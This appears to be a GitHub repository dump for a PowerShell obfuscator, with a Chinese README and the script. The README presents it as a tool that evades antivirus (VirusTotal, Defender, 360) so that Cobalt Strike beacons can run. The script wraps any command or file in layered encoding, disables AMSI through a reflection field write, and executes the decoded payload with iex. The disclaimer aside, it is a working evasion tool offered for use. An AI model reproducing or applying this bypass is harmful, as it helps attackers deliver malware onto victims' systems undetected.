├── CS.png ├── README.md ├── VTbypass.png ├── VTorigin.png └── powershell-obfuscation.ps1 /CS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/test1213145/powershell-obfuscation/89f5a3d3e43fad9beb30573de45c5d970f35cd6d/CS.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # powershell-obfuscation 2 | 3 | 简单有效的powershell免杀混淆器的小工具,VT全绿,可过Defender、360等,可执行上线cobaltstrike等操作。 4 | 5 | AMSI混淆绕过+powershell命令混淆绕过。 6 | 7 | **请勿使用于任何非法用途,由此产生的后果自行承担。** 8 | 9 | 上述测试环境均为实体机。 10 | 11 | ## 思路 12 | 13 | 这段时间看了看powershell反混淆相关的内容与论文,目前反混淆效果最好的应该是2022年qax的《Invoke-Deobfuscation: AST-Based and Semantics-Preserving Deobfuscation for PowerShell Scripts》,该论文延续了19年CCS浙大的思路并进行了改进,使用了变量追踪并在AST层面上进行了invoke解混淆,属于静态分析加部分的动态分析,比defender和VT的效果好不少。 14 | 15 | **不过论文中也提到了当前powershell反混淆研究的难点,一个是自定义function加密解不开,一个是很难去追踪循环中的变量。** 16 | 17 | 由于当前的powershell反混淆研究中对静态代码分析研究的并不算很多,暂未像C\Java中的静态代码分析一样可以有效追踪变量的调用与传播,因此对于循环中变量的传播暂时没有很好的解决办法。 18 | 19 | 同时function的调用可能需要更复杂的动态分析,还要考虑到function嵌套的问题,因此暂时也没有很好的解决办法。 20 | 21 | 上述两个点可能是未来powershell反混淆需要去研究的内容。 22 | 23 | 由于部分的反混淆工具会在AST层面上进行反混淆的工作,因此powershell自带的大部分加密解密/编码解码的函数是形同虚设的,如[System.Convert]::FromBase64String等。应该尽可能去使用自定义的加密解密的function。 24 | 25 | 这里针对这两个学术界研究的难点,写了一个简单的powershell混淆器,事实证明效果确实也不错。具体思路如下: 26 | 27 | 1、自定义加密解密function,function中进行字符串的逆序(逆序没有用powershell自带的函数,防止AST层面上解混淆)与位的+运算(不使用异或运算的原因是defender对-bxor监控很严格)。 28 | 29 | 2、对上述function进行几次循环的运算。 30 | 31 | 3、为了能让字符有效地输出,最后用base64编码了一下(即便在AST层面上解开也无所谓,因为解开了的内容仍是混淆之后的)。 32 | 33 | 同时对AMSI绕过与powershell命令进行了混淆。 34 | 35 | 这里仅仅实现了一个简单的混淆器demo,可以自由发挥。 36 | 37 | 实验了一下,用qax的反混淆工具与Unit42团队的反混淆工具都是解不开的。 38 | 39 | ## 使用的方法 40 | 41 | ```./powershell-obfuscation.ps1 -c "whoami"``` 来混淆命令 42 | 43 | ```./powershell-obfuscation.ps1 -f "filename"``` 来混淆指定的文件 44 | 45 | 结果会输出在当前目录下的bypass.ps1中 46 | 47 | 以cs的beacon.ps1为例 48 | 49 | 混淆前VT如下: 50 | 51 | ![image](https://github.com/H4de5-7/powershell-obfuscation/blob/main/VTorigin.png) 52 | 53 | 混淆后VT如下: 54 | 55 | ![image](https://github.com/H4de5-7/powershell-obfuscation/blob/main/VTbypass.png) 56 | 57 | 上线: 58 | 59 | ![image](https://github.com/H4de5-7/powershell-obfuscation/blob/main/CS.png) 60 | -------------------------------------------------------------------------------- /VTbypass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/test1213145/powershell-obfuscation/89f5a3d3e43fad9beb30573de45c5d970f35cd6d/VTbypass.png -------------------------------------------------------------------------------- /VTorigin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/test1213145/powershell-obfuscation/89f5a3d3e43fad9beb30573de45c5d970f35cd6d/VTorigin.png -------------------------------------------------------------------------------- /powershell-obfuscation.ps1: -------------------------------------------------------------------------------- 1 | param([string] $c,[string] $f) 2 | 3 | function encrypt($v){ 4 | $y = 9 5 | while($y -gt 6){ 6 | [Byte[]]$t = $v.clone() 7 | for ($x = 0; $x -lt $v.Count; $x++) { 8 | $t[$v.Count-$x-1] = $v[$x] - 3 9 | } 10 | $v = $t 11 | $y = $y - 1 12 | } 13 | return $v 14 | } 15 | 16 | $text1="[Byte[]]`$c = [System.Convert]::FromBase64String('" 17 | $text2="') 18 | [Byte[]]`$d = [System.Convert]::FromBase64String('amNga0xgamQ4JWVmYGtYZGZrbDgla2VcZFxeWGVYRCVkXGtqcEo=') 19 | [Byte[]]`$e = [System.Convert]::FromBase64String('W1xjYFg9a2BlQGBqZFg=') 20 | function O (`$v){ 21 | [Byte[]]`$t = `$v.clone() 22 | for (`$x = 0; `$x -lt `$v.Count; `$x++) { 23 | `$t[`$v.Count-`$x-1] = `$v[`$x] + 3 24 | } 25 | return `$t 26 | } 27 | 28 | `$y = 9 29 | while(`$y -gt 6){ 30 | `$c = O(`$c) 31 | `$d = O(`$d) 32 | `$e = O(`$e) 33 | `$y = `$y - 1 34 | } 35 | [Ref].Assembly.GetType([System.Text.Encoding]::ASCII.GetString(`$d)).GetField([System.Text.Encoding]::ASCII.GetString(`$e),'NonPublic,Static').SetValue(`$null,`$true) 36 | iex([System.Text.Encoding]::ASCII.GetString(`$c))" 37 | 38 | If(![String]::IsNullOrEmpty($c) -and [String]::IsNullOrEmpty($f)){ 39 | $result = encrypt([System.Text.Encoding]::ASCII.GetBytes($c)) 40 | write-output ($text1 + [Convert]::ToBase64String($result) + $text2) | out-file -filepath bypass.ps1 41 | Write-Host("[+] obfuscation result has been saved in bypass.ps1") 42 | }elseif(![String]::IsNullOrEmpty($f) -and [String]::IsNullOrEmpty($c)){ 43 | $stream = [System.IO.StreamReader]::new($f) 44 | $file = "" 45 | while( -not $stream.EndOfStream) { 46 | $file = $file + $stream.ReadLine() + "`n" 47 | } 48 | $result = encrypt([System.Text.Encoding]::ASCII.GetBytes($file)) 49 | write-output ($text1 + [Convert]::ToBase64String($result) + $text2) | out-file -filepath bypass.ps1 50 | Write-Host("[+] obfuscation result has been saved in bypass.ps1") 51 | }else{ 52 | Write-Host("./powershell-obfuscation.ps1 [-c/-f] [command/filepath]") 53 | } 54 | 55 | 56 | 57 | --------------------------------------------------------------------------------